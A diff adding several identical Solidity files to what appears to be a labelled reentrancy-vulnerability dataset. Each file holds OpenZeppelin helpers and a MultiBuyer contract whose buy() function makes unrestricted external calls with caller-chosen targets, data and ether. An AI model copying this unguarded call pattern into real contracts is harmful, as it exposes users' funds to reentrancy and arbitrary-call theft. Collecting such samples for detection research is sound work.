contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1498.sol b/smart_contract_dataset/reentrancy vulnerability/1498.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1498.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1600.sol b/smart_contract_dataset/reentrancy vulnerability/1600.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1600.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1611.sol b/smart_contract_dataset/reentrancy vulnerability/1611.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1611.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1620.sol b/smart_contract_dataset/reentrancy vulnerability/1620.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1620.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is 